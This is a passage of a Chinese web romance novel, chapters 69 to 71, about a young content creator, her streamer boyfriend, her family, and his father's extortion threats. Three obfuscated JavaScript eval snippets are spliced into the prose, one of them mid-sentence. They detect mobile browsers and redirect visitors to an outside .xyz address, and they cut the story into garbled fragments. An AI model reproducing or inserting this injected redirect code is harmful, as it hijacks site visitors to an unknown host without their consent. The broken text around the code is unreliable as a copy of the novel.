“提起裤子就不认人?” 谈继秋帮秦见夏盛着排骨汤,瞥见她今日一直躲闪的目光,忍不住戏谑。 “嘘——”秦见夏吓了一跳,连忙抬手捂住他的嘴,做贼一般回头看了看,发现小如和Dollar还没下来,这才放心,一板一眼道,“大庭广众之下不要什么话都随便说,懂不懂礼义廉耻呀。” 谈继秋轻笑两声,将汤放在她手边,又揉了揉她的发顶,好整以暇地问:“那昨天是谁把我推倒的……” 秦见夏飞快拍掉他的手,抬眼理着刘海:“别碰我头发,我才洗的头,弄油了怎么办?我今天还得录视频呢。” “昨天属于酒后上头……”她突然想起什么,偏头怒视,“你昨天明明也爽了好不好!别在这装。” 谈继秋闻言立即转过头,昨晚的画面也不由分说地闯进脑海,他目光闪烁,耳尖一片通红。 秦见夏一看他这副模样,就知道他在想什么:“不许想了!” 不过,逗弄的心思又随即取而代之。 她忽然吊儿郎当地揉着他微热的耳垂,将手肘支在他肩上,不依不饶地凑到他耳边:“说实话,你昨天到底爽没爽?” 谈继秋感觉耳朵痒痒的,羞赧地从喉咙里挤出一个“嗯”,还是老僧入定般不敢看秦见夏。 “怎么不敢看我?”秦见夏的声音像风一样轻,“昨晚也不知道是谁,最后哭着求我再快点……” 这下是谈继秋去捂她嘴了:“我没有哭,那是生理性泪水。” 他咬牙切齿地低头附在她耳旁,小声道:“别作茧自缚,小心日后下不了床。” 69. 很想你 秦见夏的大部分行李早就打包寄回家,只剩下一个行李箱和一个书包。 谈继秋将秦见夏送到高铁站,依依不舍地和她在车里吻别。 他自觉帮她拉行李箱,听到她说:“真可惜,以后就亲不到了。” “谁说的,”谈继秋用另一只手牵着她,不认同道,“我可以去学校找你啊,想我了就发消息,随叫随到。” “你这是会闪现还是会传送?”秦见夏笑了两声,“寒假再见吧,我上学的时候一般懒得出校门。” “哦,”谈继秋白净的脸上浮现起一丝失落,思来想去还是说出了口,“那要是我想你了怎么办?” 秦见夏一下子上劲了,声音顿时拔高:“不是不见,而是缓见、慢见、高质量地见,先见带动后见!后面忘了。” 刚好走到进站口旁,她眉梢挑起,故作肃穆地将双手搭在他肩上,语重心长道:“国家尚未富强,怎谈儿女情长!想我了就学习新思想,争做新青年,顺手帮我把青年大学习做了。” 谈继秋:“……” 他被女友的小神态逗笑,不由得揉了揉她的头发,替她将发丝拢在耳后。随即双手捧起秦见夏的脸,十分虔诚地在她眉心处落下一吻。 “我很想你。” 旅客川流不息,秦见夏害羞地低下头,嘴硬道:“人还没走就开始贷款想我了?” “嗯,”谈继秋将手腕上的皮筋取下,准备还给她,“今天怎么又没拿发夹?这是我手上最后一个皮筋了,路上用。” “还有,遮阳伞我走之前塞进你书包了,这两天记得随身带,现在太阳还是很毒,你被晒久了容易中暑……” 他像母亲一样絮絮叨叨地,秦见夏越听越感动,扑上前将他一把抱住,温声说:“我都知道,谈继秋,我也会想你。” “小皮筋就送给你啦,不许弄丢!”她故意开着玩笑,试图驱散这种离别的伤感氛围,“我随时查岗,检查你守不守男德。” “我走了之后没人监督你,你不许再吃泡面了,虽然Dollar和小如姐月底也要搬走,Fine也不在,但是你一个人也要好好照顾自己。” 她拉开身子,严肃地问:“听到了吗?” “听到了。” 谈继秋连声答应,笑容温和。 他眉毛细密,笑起来眼角翘翘的,看着真漂亮。 秦见夏忍不住又伸手摸了摸。 谈继秋十分娴熟地塌下腰,任由她像流氓一样摸自己的脸。 “好啦!”秦见夏接过行李箱,将书包背上,边走边朝他挥手,“我走咯,不要太想我哦~” 谈继秋也学着她的样子挥了挥手——虽然她没看见。 他目睹秦见夏走进检票口,熟练地过安检、搬行李,迟迟不愿离去,透过玻璃盯着她独自一人的背影,心中莫名有些难过。 这是他从前送谈承春一家离开时从未出现过的情绪。 所以他始终认为,自己是个理性的人。 如今看来,并非如此。 他看到秦见夏一个人的身影会难过;看到秦见夏瘦小的身体会难过;看到秦见夏现在故作高兴地冲他打招呼也会难过。 她此时正倒着往后走,透过车站的玻璃,眉飞色舞地冲他挥动手臂。小鹿一样灵动的眼睛神采奕奕,丝毫不顾形象地咧着嘴,笑容明媚。 谈继秋不由得抚上手腕处的向日葵发绳,感叹自己真是幸运万分。 满足感积在胸腔,他也向她弯起唇角。 之后就看不到秦见夏的身影了,谈继秋走进停车场,坐回空荡的车里,望着她留下的头绳发呆,耳旁好像还能传来她的笑声。 秦见夏其实并不喜欢花里胡哨的发饰,她除了这个向日葵发绳,其他都是清一色的黑皮筋,所以才会用一个丢一个。 当然,这根之前又被她落在沙发角落了。 还是谈继秋某次眼尖,从缝隙里掏了出来,才认出是秦见夏的发绳。 她说这个可是学妹亲手钩织的向日葵,九块九一个呢,是她在她们学校“情人坑”逛市集时买来的,每个都独一无二。 虽然他觉得学妹肯定是做了一大堆向日葵发绳拿出去卖,也不算独一无二,甚至有可能是批发来的,成本估计连十分之一都没有,但见她如此沾沾自喜,也只好顺着她夸。 她总说她不知道钱花在哪了,可每次只要一出门逛街,就会拉着小如买一堆小玩意,遇到什么玩具店、手作店和古着店更是走不动道。 谈继秋每回看着她大包小包的样子,觉得她真的还像个小朋友。 他其实是个非常喜欢安静的人,此时却无比怀念秦见夏在一旁叽叽喳喳。 于是他又有些难过。 谈继秋驱车回到别墅,独自在地库里待了一会。 小如和Dollar估计又出去玩了,谈继秋懒得热菜,便翻出尘封已久的泡面,接热水泡了一盒,继续坐回电脑前准备开播。 日子好像又回到从前。 他淡淡地想。 游戏玩着感觉也没什么意思。 想起之前每次一开播,秦见夏偶尔下来拿零食时,都会像做贼一样蹑手蹑脚地放慢动作,谈继秋就觉得好笑。 于是战绩打成【1/9/2】,用的还是他本命英雄逆羽。 直播间的粉丝们最近倒是十分习以为常—— 「主播怎么又在走神」 「继军你到底在追谁……我们去帮你还不行吗,别压力队友了」 「再掉大师了哥们,你还想掉到黑铁啊」 「继军也就靠脸撑了呵呵,这实力还当黄油一哥」 「事到如今我已经分不清是节目效果还是真的了」 「最近是出啥事了,难道是前两天那个小道消息?」 「嫂子到底是谁,别虐兄弟们了,不行你还是下围棋吧」 「我真服了,主播这屏幕怎么一直是黑的啊」 「这水平活该退役」 「……」 谈继秋越玩越没意思,这局结束索性直接下播,打开秦见夏的主页看她刚刚更新的vlog。 原来她没回消息是在剪视频。 谈继秋有时候会觉得苦恼,感觉秦见夏对自己的感情并没有那么深,她也不会像自己这样,时常想起对方。 而且她一忙起来就懒得回他微信了。 可是他哪怕在直播时也会及时回她消息的。 为此他还特意请教了Dollar,结果Dollar骂他像林黛玉。 Dollar说:“女人当然要以事业为重啊,你不要打扰妹搞事业了,谈恋爱也要有全局意识,懂吗?” “学学我,我就从来都不打扰小如,安心当她背后的男人,所以这么多年来稳坐正宫的位置,其他男网红不管长得多帅小如依旧对我死心塌地。” 他觉得Dollar说得有道理。 不过……那其他男网红也会私联秦见夏吗? 谈继秋瞧着她主页涨幅飞速的粉丝数量,再度产生了危机感。 秦见夏确实是很聪明的人,学习能力十分强悍。 剪辑、脚本、文案等等不用学直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034676|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就上手,说是自己之前老刷视频,早就学会怎么运营账号了。 不懂的地方请教小如也是一点就通,热点也能敏锐捕捉,知道粉丝爱看什么,加之得天独厚的性格优势,又会审时度势,成功是必然的。 她在他眼里唯一的缺点就是不够专一。 善于变通的人当然就会难以专注,比较多变。 她的多变体现在方方面面。 明明前段时间特别喜欢喝高山四季春,每天都要喝一杯才满意,结果某天突然就不喜欢了,又疯狂沉迷上山野栀子,彻底将高山四季春忘在脑后。 还有之前她特别喜欢用龙图的表情包,连头像也要用龙图,结果最近又扭头喜欢上Chiikawa。 天天和小如分享Chiikawa的周边,两个人浑身都是Chiikawa,还勒令他换了Chiikawa的情侣头像(其实是她说要和小如换闺蜜头像但被他截胡了)。 所以谈继秋总是疑神疑鬼地担心,秦见夏某天突然就不喜欢他了。 而且她也有先例。 如果不是打王者偶遇她,她现在还当黑粉叫他电竞花瓶呢:) 即便秦见夏总是狡辩,说她只是粉转路了,不是黑粉。 反正他不会喊喜欢的人黑称,她后来明明就是不喜欢了! 谈继秋感觉和秦见夏谈恋爱谈得如履薄冰。 尤其如今还是异地恋,总感觉下一秒她就要移情别恋了。 此时的秦见夏,在高铁上酣畅淋漓地睡了一觉。 视频她在候车时就更新了,高铁上信号不好,秦见夏删了会照片就开始昏昏欲睡,索性直接调静音睡觉。 “列车前方到站,南城南站——” 秦见夏顿时惊醒,迅速收拾东西下车。 乘扶梯时才收到谈继秋的消息。 谈继秋:「上车了吗」 谈继秋:「我刚刚到家,才发现给你点的红茶公司你忘记拿了」 谈继秋:「图片」 谈继秋:「怎么不理我/可怜」 秦见夏无语地单手打字:「这才两个小时不到」 秦见夏:「才到站,我刚刚在睡觉」 回复完便收起手机,刷身份证出站,果然瞧见父母在一旁等候。 “妈!爸——”秦见夏飞奔过去,“我给你们带了特产!” 秦国海自动拉过行李箱,赵霞接过秦见夏的书包,笑眯眯地问:“什么特产啊?” “谈继秋给你们买了些糕点,什么蝴蝶酥之类的,”秦见夏拍了拍书包,“都在我包里,一会回家给你们看。” 秦国海闻言冷哼一声:“哎呀我跟你讲,吊蝴蝶酥嘛哪里都有哎,骗骗你这小丫头还行,哎,骗不了我们两个老骨头滴。” “不要讲脏话!”赵霞忍不住揍他一下,翻了个白眼,“好歹是人家孩子的一片心意。” “就是——”秦见夏挽着赵霞的胳膊,也冷哼一声,附和道,“我男朋友可比那个壮壮强多了好不好!” “又帅又能赚钱又体贴又温柔又尊重我,还是第一次谈恋爱,而且人家还愿意跟我回南城!你到底有什么不满意。” “哼,”秦国海偏过头不理她们娘俩,吹胡子瞪眼地说,“他工作不稳定,还是外地的,而且比你大四岁,老爸反正不满意。” “来南城的事八字还没一撇,他最后绝对不可能真跟你回南城滴,不信咱们走着瞧!” “走着瞧就走着瞧——” 秦见夏也偏头向另一边,嘴巴撅得老高:“他肯定会跟我回南城的!” 70. 想当然 虽然秦国海嘴上放了狠话,但回家依旧冷脸煮皮肚面。 赵霞让秦见夏随便给了个台阶,老爸就立刻下了。 赵霞不太爱吃甜食,却非常喜欢吃蝴蝶酥,一吃吃了半盒。 秦见夏把这个消息分享给谈继秋:「我妈很爱吃你买的蝴蝶酥」 秦见夏:「谢谢你啦谈继秋~」 秦见夏:「图片」 秦见夏:「看我爸给我煮的皮肚面,怎么样,没吃过吧?」 谈继秋秒回:「那我下次再给阿姨多寄点过去」 谈继秋:「皮肚面是南城特色吗,我没吃过」 秦见夏:「是的!但我觉得我爸煮的没有项记面馆好吃,等你来了我带你去吃~~」 谈继秋:「好」 谈继秋:「美元和小如他们过两天就找房子搬走了,说是不想继续住在市中心,所以我们正好月底退租,我准备月底就去南城」 秦见夏震惊:「可是我要在淮市上学啊,这一年我又不在南城长住,要不回头再说吧,你留在晋海参加活动还方便」 其实秦见夏是觉得,这还有一年才毕业呢,万一他俩一年之后就分手了,刚好他也不用千里迢迢地搬来南城,对他还方便点。 这种想法好像有点没良心,但她的确是一个比较现实的人。 谈继秋却坚持己见:「淮市离南城很近,你没课了肯定会回家待着,就可以随时来找我,我在南城住的话也可以随时去找你」 谈继秋:「而且既然以后肯定要在南城长住,那早一点去也没什么区别,对我来说住在哪里都一样」 秦见夏一边大受震撼,一边抬头对秦国海说:“我男朋友说月底就要搬来南城哦~” 正在厨房洗碗的秦国海:“哼!” 赵霞闻言,却忧心忡忡地将女儿拉进房间,小声嘱咐她:“夏夏,既然你也大了,那妈妈就把这事摊开说……时代在进步,妈妈也不是那么保守的老古板,只是妈担心他是为了和你…才着急搬来的,闺女你一定要注意,不能太快地和他发生关系,知道吗?” “尤其是要注意做安全措施,这个你们生理健康课也都讲了,但是妈妈还是要提醒你,女孩子一定要保护好自己。” “知道啦妈,”秦见夏害羞地挠了挠后脑勺,不好意思说其实色欲熏心的是你闺女,她欲盖弥彰道,“我们很纯爱的。” “行,那妈就放心了,”赵霞笑眯眯地揽着秦见夏的胳膊,“月底把我未来女婿带回家里吃饭,妈给你参谋参谋!” 秦见夏“啊”了一声:“妈,我才刚谈恋爱就见家长啊?不用了吧……” “而且我没打算结婚啊,咋就女婿上了?” 这下轮到赵霞瞠目结舌,愣了半晌,声音不由得拔高:“你没打算结婚?” “对啊,”秦见夏倒没觉得有什么不对,理所当然道,“我不是说了要守着你俩过一辈子吗?我也不打算生孩子,没必要结婚。” “现在我们年轻人都不结婚,你还是out了!” 赵霞:“?” 赵霞:“你一天天说话没个把门儿的,我以为你哄我们玩儿呢。” 秦见夏蹙眉问她:“怎么?你不支持我?” 秦见夏:“反正我坚决不生孩子,就两个人过没必要结婚,结婚这种宽进严出的能是什么好差事?不结婚反倒对我更有保障,如果你们非觉得不行,那勉强办个酒席我可以接受。” “谁说不行了?”赵霞无所谓道,“妈当然支持你啊,你之前每次想干啥我没支持过?况且你住家里我当然更乐意!” 他俩就这一个闺女,嫁出去还真舍不得。 “那你就一辈子留妈身边当小棉袄吧。”赵霞十分开心地搂着秦见夏蹭了蹭。 “那我爸能乐意吗?”秦见夏问,“就那老古板……” “干么事啊,谁讲我老古板——”偷听墙角的秦国海不赞同地背着手走进来,“既然这样,那我就不反对你们了,但养狗的事再议!” “爸!!”秦见夏尖叫,张牙舞爪地赶他,“你烦不烦人!不同意我养狗你就出去!” “哼。” 秦国海贱贱地做了个鬼脸,哼着小调继续回厨房刷碗。 “对了闺女,”赵霞想起什么来,又忧心忡忡地问,“小谈知道你丁克这事吗?你是不是还没告诉人家?” “需要这么早跟他说吗?这不都是玩玩而已嘛,”秦见夏不解,“男的不是都不爱负责吗?他肯定巴不得不结婚吧?” “那可不一定啊,”赵霞觉得女儿还是太心大了,“这种事情要提前跟人家说的,万一对方是以结婚为目的跟你谈朋友呢?你这也是对小谈不负责任。” “刚好你俩现在感情还没那么深,对方要是不接受的话,你们分开得还轻松,你说是不是?” “趁人家没来南城,提前跟小谈解释清楚,不要等人家千里迢迢过来了,你才马后炮地折腾人家。” 秦见夏觉得妈妈说得很有道理。 自己还是太想当然了。 “好的好的,我知道啦,这两天我就跟他说。” “你呀——就是太自信了,因为书看得不少又在网上见得多,所以总是认为自己很了解人性。其实人和人都是不同的,感情更是需要经营,光像你这样想当然可不行,不要聪明反被聪明误了。” 秦见夏若有所思地点点头。 然后睡一觉就忘了。 - 其实秦见夏只在家待了一天,三号晚上又风尘仆仆地赶回学校。 一整个暑假没见面,回到宿舍又像没事人一样和室友们打了招呼。 她丝毫没暴露自己暑假在腾游实习的事,看她们的态度,似乎也不知道自己在做自媒体甚至小有成就。 那她就放心了。 要是被陈文欣知道了,又得天天阴阳怪气她。 秦见夏臭屁地想,没办法,她就是这么优秀的人。 甚至这次裸考四级都能低分飘过。 最近确实过得顺风顺水,都有点不太适应了。 秦见夏躺在床帘里,给谈继秋发消息:「难道你是幸运之神?」 秦见夏:「之前倒霉惯了,搞得我有点胆战心惊」 秦见夏:「前面不会有什么大坎在等我吧……」 谈继秋安慰她:「放心,有困难解决就是了」 谈继秋:「实在不行咱们去鸡鸣寺拜拜?不是说很灵验吗」 秦见夏:「不行!她们都说去了鸡鸣寺必分手!」 秦见夏:「算了,我还是睡觉吧,明天早上有课」 谈继秋和她说了晚安,然后打开另一个对话框,对着满屏的长消息发呆。 夜色沉寂。 秦见夏的大四生活也相当充实,依旧像前三年那样上课、睡觉、赶ddl,只是还多了经营自媒体和准备考研。 来学校前又和父母商量了下,他们都比较支持秦见夏的自媒体事业。 现在确实也小赚了一点,可以硬气地说以后都不用给生活费了。可他俩还是坚决要给,那秦见夏就心安理得地收下,毕竟这行的确不太稳定。 既然以后决定继续从事自媒体,那和考研也不怎么冲突,录备考vlog肯定会更有热度一些,秦见夏就这么草率地决定考研了。 她已经对本专业深恶痛绝、相看两厌,肯定不继续考视觉传达。 最近和同为美术生的朋友一合计,她说:“要不你就考南城艺术学院呗,你不是之前对文物修复也挺感兴趣的吗,刚好初试只考理论,不用画画。” 秦见夏当初确实差点就上南艺了,闻言火速在小红书上查了查初试科目,然后当机立断地决定:“那我就考南艺了!” 一切都这样风风火火。 南艺关于文物修复的专业属于人文与博物馆学院,具体分了两个研究方向,但考查科目都一样,一个属于中外合办,研二一年去意大利学习,但学费比较昂贵。 所以秦见夏就选择考“文物保护修复与数字化应用”这个专业,刚好和她的本科专业还有一定的相关性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039065|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她考相对简单的英语二,因此英语只在学校二手群里买了学姐的黄皮书,政治买了肖秀荣的1000题搭配徐涛的核心考案,另外两门专业课都买了相应的教材。 即便专业课教材看起来像砖一样厚,还是整整三本,可至少比画快题强多了…… 于是秦见夏这周除了上课就是泡图书馆看考研专业课,然后记录一下日常,剪成校园vlog。 对于她这种三分钟热度的人来说,起初确实是把专业课看进去了。 后来就开始在图书馆抓着谈继秋聊天、剪视频,甚至又捡起角色设计产出了一张。 总之就是,只要不看书,什么都好玩。 本来就没什么强烈的上岸欲望,尤其一打开小红书就刷到他们九月份专业课已经过了三四轮,秦见夏就更没什么动力了。 她给谈继秋说自己又成了考研混子,一战肯定上不了岸,试图让他劝学。 结果谈继秋这厮说:「今年考不上就考不上吧,大不了多考几年,我还是养得起你的」 秦见夏:「谢谢你,这个劝学很有效果」 谈继秋一头雾水:「?」 秦见夏:「这个可以放在小红书当劝学文案用」 秦见夏:「图片」 秦见夏:「你看」 谈继秋:【微信转账¥7777.77|备注:可我真养得起(自愿赠与)】 谈继秋:「我求你少看点小红书:)」 秦见夏:「?」 秦见夏:【微信转账¥7777.77已退还】 秦见夏:「一言不合就砸钱是什么毛病:)」 秦见夏:「7777.77什么意思」 谈继秋:「七上八下,祝你一战上岸」 秦见夏:「果然老人味十足啊」 谈继秋:「……」 秦见夏又去家庭群里骚扰爸妈,说自己今年肯定考不上。 结果他俩更是不给压力。 夏夏平安健康:「考不上就考不上呗,说得好像你很爱上学一样,别给自己压力太大。」 夏夏平安健康:「真想考就多考几年,总能考上的,爸妈现在完全供得起你/憨笑」 夏夏爸爸:「别考嘞丫头,背书太伤脑筋,你现在当小网红不是挺好的吗,不用考研。」 秦见夏:「你俩更是这个/大拇指」 夏夏平安健康:「宝,你那个品牌方寄来的酸辣粉确实不错,还能让人家再多寄两袋来不/呲牙」 夏夏平安健康:「妈这两天想吃蛋黄酥,下次接点蛋黄酥的广告。」 秦见夏:「妈你拿我当哆啦A梦呢/呲牙」 夏夏爸爸:「丫头啊,老爸这个头像能换了不,用这个噘嘴黄兔子当头像显得不太稳重。」 秦见夏:「都跟你说了这个是乌萨奇!不是噘嘴黄兔子」 秦见夏:「不许换!我特意把情侣头像换了跟你们用的亲子头像」 秦见夏:「那我再找三个亲子头像和妈妈还有谈继秋用,不带你玩了/微笑」 夏夏爸爸:「不换了不换了,这个乌萨奇看起来很面善/憨笑」 「……」 一玩手机又这样到晚上了,秦见夏觉得,自己的考研之路的确任重而道远。 十一点半左右回了宿舍,室友又在吵闹,想着反正第二天也没课,秦见夏便决定给谈继秋打个语音电话。 她戴上耳机,拧开阳台门,然后给男友拨了个语音通话。 秦见夏双臂搭在阳台栏杆上,嗅着空气里夏末晚风的味道。 外面马路上,有对情侣一边乐跑一边嬉戏而过。 耳机里始终是微信的提示音。 也不知道他这会在忙什么,在洗澡吗? 语音因长时间无人接听而自动挂断,她垂眸望向楼下昏黄的路灯,忽然感到无所适从。 心里莫名空得慌。 今晚的夜格外漆黑,天边看不见月亮,只剩下几盏零星的路灯,在散发着微弱的光芒。 71. 出事了 秦见夏是在周四白天才发现谈继秋不太对劲的。 往常,未回复的消息他一定会在看到的第一时间立刻回她,并解释缘由。 然而,这次直到第二日下午,他都杳无音信。 秦见夏起初以为他又沉迷游戏昼夜颠倒了,可是都快过二十四小时了,这简直匪夷所思。 她当机立断,马上给小如发消息询问。 小如说她白天一直没看到谈继秋,Dollar也说没见过。 秦见夏心急如焚,又拜托他俩去他房间瞧瞧。 她盘腿坐在宿舍床上,十分焦灼地等待着男友的音讯。 过了很久很久,小如才回复她:「他没事,就是睡着了,别担心」 果然,谈继秋的消息霎时弹了出来:「我没事,放心」 秦见夏飞快地打起字:「我才发现你这周一直没开播,到底发生什么了?」 谈继秋:「最近有点感冒,昨天吃了药睡得比较沉」 她这才松了口气:「你最近房间不要锁门,吓死我了,还以为你出什么事了」 谈继秋:「嗯,没事的,别担心我」 谈继秋:「照顾好自己」 秦见夏将这五个字咀嚼两遍,越琢磨越觉得不对劲,她不禁啃起嘴唇的死皮,陷入沉思—— 再去问小如和Dollar也问不出什么,谈继秋如果有什么事不想让她知道,小如姐他们肯定也不好插手。 直觉告诉她,一定出事了。 秦见夏算了算时间,索性买了周五去晋海的高铁票。 明天上午有pre不好请假,刚好中午上完课直接赶去高铁站,这样下午四点前就能到达晋海。 她倒要亲自去看看,谈继秋到底在隐瞒她什么。 - 谈继秋陷在暗无天日的房间里,昏昏沉沉地,不知道度过了多少天。 像是有一层塑料膜,将他的五官紧紧覆住,时刻呼吸不得。 这层枷锁与生俱来,又终其一生无法揭下。 谈继秋习以为常。 直到门外传来秦见夏的声音。 他陡然惊醒。 又是一道砸门声,使他意识到,原来不是在做梦。 胡子没刮、房间没收拾、头发没整理,甚至连脸都没洗。 不能开门。 “谈继秋我知道你在里面,你给我把门打开!” “咚咚咚——” “他怎么没动静啊?”秦见夏忧心忡忡地面向小如,“不会是晕在里面了吧?” 小如也说:“要不找个开锁的?” 秦见夏正欲开口,却被门内传来的声音打断。 “你们先去一楼等,我一会就下去。” 他的嗓音十分沙哑,听起来极度疲惫,又强撑着遮掩。 秦见夏低声对小如说:“小如姐你先回房间吧,这里我来处理就行。” “有事随时叫我。” 小如担忧地看她一眼,随即走楼梯上了楼。 “不行——”秦见夏抱臂站在门外,坚决道,“我等不了,你现在就给我开门!” 里面鸦雀无声。 秦见夏使出杀手锏—— “不开门就分手吧,没什么好说……” 话音未落,“嘎达”一声突兀响起,门竟从里面打开了。 一片漆黑中,浮现出谈继秋若隐若现的、苍白的脸。 这是秦见夏从未见过的谈继秋。 她见过他夺冠时意气风发的姿态;见过他平日时死气沉沉的模样;也见过他红着脸说喜欢时的害羞。 他总是平和的。 如今这副丑陋狰狞的状态,秦见夏第一次见。 很难想象,愤怒、自弃、挣扎、痛苦、麻木、沮丧会同时出现在一个人身上。 她想,这些形容应当归纳为“绝望”。 绝望这个词太重,此刻用到谈继秋身上却刚好。 他沉静地站在房内,像一条濒死的鱼。 “很失望吧。” 秦见夏听到他说。 “什么?” “我说,你应该对我很失望吧……”他的状态十分低迷,嗓音喑哑,说话异常艰难,“我想我们还是,分开吧,我真的……” “闭嘴——” 秦见夏突兀地打断他。 然后怒气冲冲地用肩膀将他撞开,径直闯入黑洞般的房间。 “哗”地一声,厚重的窗帘被她利落拉开。 黑夜前的最后一丝阳光顿时倾泻进来,将每一个昏沉的角落都洗得发亮。 谈继秋怔愣在原地,无措地用手遮了遮眼。 秦见夏还不忘小声吐槽一句“什么牌子的窗帘这么遮光”,紧接转过身子,板着脸开始数落起他:“哦——原来某人这几天都在骗我呢!” “泡面桶快堆成山了,得亏还记得吃饭没把自己饿死……” “还骗我说有在好好吃饭?胡子没刮,头发也没洗,你该不会连牙都没刷吧谈继秋?” 她快语连珠,不等他反应过来,便站定在他面前,不慌不忙地问:“还要跟我闹分手?” “先跟我说说,到底出什么事了。” 阳光刺眼到,迫使他有种快要流泪的冲动。 谈继秋感觉自己的委屈顿时溢了上来,止也止不住。 他不禁垂眸,看到她因匆忙而弄乱的发顶。 “对不起。” 他小心翼翼地上前,搂住她柔软的腰肢,将脸埋在她颈窝。 秦见夏揉着他的后脑勺,任他抱了一会,耐心渐渐告罄,她无奈将他推开,威胁道:“你怎么像只缩头乌龟……不说就彻底分手吧,最讨厌磨磨唧唧的。” “我说,”谈继秋平静地把手机递给她,“你先看。” 秦见夏一头雾水地接过手机,没好气地低头摆弄:“密码。” “你生日。” 秦见夏:“……” 撞密码了。 手机一解锁就是微信页面,不用看也知道这次是和谁的矛盾。 只有备注「爸」的那个对话框,显示的是免打扰和小红点。 秦见夏点进去,粗略翻了一遍聊天记录,大致了解到事情经过。 起因是谈继秋的父亲不知道从哪得知他在晋海买了房,便发了条长微信,好言询问他近况。 不料谈继秋性子执拗,回也不回。 他父亲等了两天没收到回复,急眼了,然后发了很多条微信呵斥他,言辞激动。 通篇都非常粗俗,比竞人骂得还脏,甚至夹杂着许多她看不懂的方言脏话。 为数不多不被和谐的字眼是“不孝”、“畜生”、“白养你了”诸如此类,还威胁谈继秋,要去媒体那里告发他“虐待父母”。 其实他父亲就是想让他在房产证里加上他的名字。 或者一次性买断,给他爹一百万,从此一刀两断。 他父亲直到一小时前还在微信轰炸,声称已经联系好了媒体,不给钱就要毁了谈继秋。 秦见夏对此叹为观止。 真没见过这样做人父母的。 谁被亲生父母这样羞辱过,都会沉疴难愈。 爱父母是每个小孩与生俱来的宿命,比学会爱自己先抵达身体。 伊甸园折返化作刺向自己的利剑,那是一种生不如死的凌虐。 谈继秋支在那里,手指控制不住地颤抖,整副身躯神经系统失调了似的,就连牙龈都在战栗。 他有种呕吐的欲|望,但更怕吓到她,便咬牙强忍。 这无疑是他最脆弱的一面。 没有人愿意让爱人瞧见自己丑陋的缺点。 而他近乎自虐地,将自己最后的遮羞布揭开,使其彻底一览无遗。 他就这样了。 他有畸形的家庭。 他麻木、抑郁、无能。 她可以立刻放手,他不会有半句怨言。 秦见夏没有任何救赎他的义务。 倘若不小心把她拽下半分,谈继秋都认为自己罪孽深重。 他想,他们或许就要到这里了。 室内一片死寂,空余缇光大亮。 一个在法庭终判,一个在最强大脑。 秦见夏沉默了整整半分钟。 她的视线从手机屏幕上失焦,思考接下来该以怎样的姿态来应对这件事。 不出意外,她的破碎男友肯定满脑子又是将她往外推,哦不对—— 以她对他的了解,现在让她知道一切,肯定是破罐破摔了。 她头脑风暴完,依旧选择将这一页轻轻揭起,又轻轻放下。 秦见夏随即嗤笑一声:“就这啊。” 她维持低头的姿势,以至于对方看不清她的表情。 但她又不带任何嘲讽的口吻,像是真正觉得,这是一件很好笑的事情。 谈继秋反应十分迟钝,懵懂地皱了皱眉。 “你父母什么样我十六岁就知道了。” ——这话好像曾经说过。 秦见夏抬眸,眼睛清凌,不带一丝怜悯,也全无任何厌恶。 谈继秋疑心自己看错。 只听她又随意道:“其实给他钱也行,你不是已经把房子卖了吗,正好啊,这回借此机会和他们断绝关系。” “祸兮福之所倚,明明是好事嘛。” “不行,”谈继秋认真地说,“之前我每年都给他们十万生活费,后来我才知道他们又生了三胎,全指望我和家姐养。” “我不想给他们养孩子。” 他闷闷不乐。 “我滴乖——”秦见夏大吃一惊,“快五十了还能生三胎?!” 谈继秋无奈地点点头。 “那你父母也是人才……” 秦见夏摸着下巴思考片刻,问:“你给经纪人说了吗,陈姐怎么说?” “陈姐说最好不要曝到大众面前,会影响代言。” “那你知道你爸爸联系的是哪家媒体吗?” “不知道。” “这是颗隐形炸|弹,你现在不立刻拆了的话,后面只会是无底洞。” 谈继秋垂头丧气地坐回床边,扶额道:“所以我说,我们还是分开比较好。” “无稽之谈——”秦见夏按捺住骂人的冲动,“我们分手对这件事有任何改善吗?” “没有,”谈继秋找回理智,“你现在是上升期,至少可以让你少受些波及……” “有没有一种可能,我们还没公开,你塌房完全影响不到我。” 秦见夏忍不住笑了两声,走过去用力坐在他身旁,一把挽住他的胳膊:“我就不同意分手!” “能不能别一有风吹草动就提分手?”她语气认真,“你什么样我没见过啊?咱俩早都‘坦诚相待’过了,以后不许这么幼稚。” “分手这个词不好,从今往后谁都不许再提,我单方面宣布这是禁词。” 谈继秋以为自己出现幻觉了,下意识呆滞地瞧她。 “再说了,你和你姐不才是一家人吗?你当初选择了你姐,所以姐姐才算你的家庭。” “那你姐姐怎么说?她知道吗?” 谈继秋摇摇头,回她:“最近恩恩生病了,姐夫恰巧不在港城,我就没告诉她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054879|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 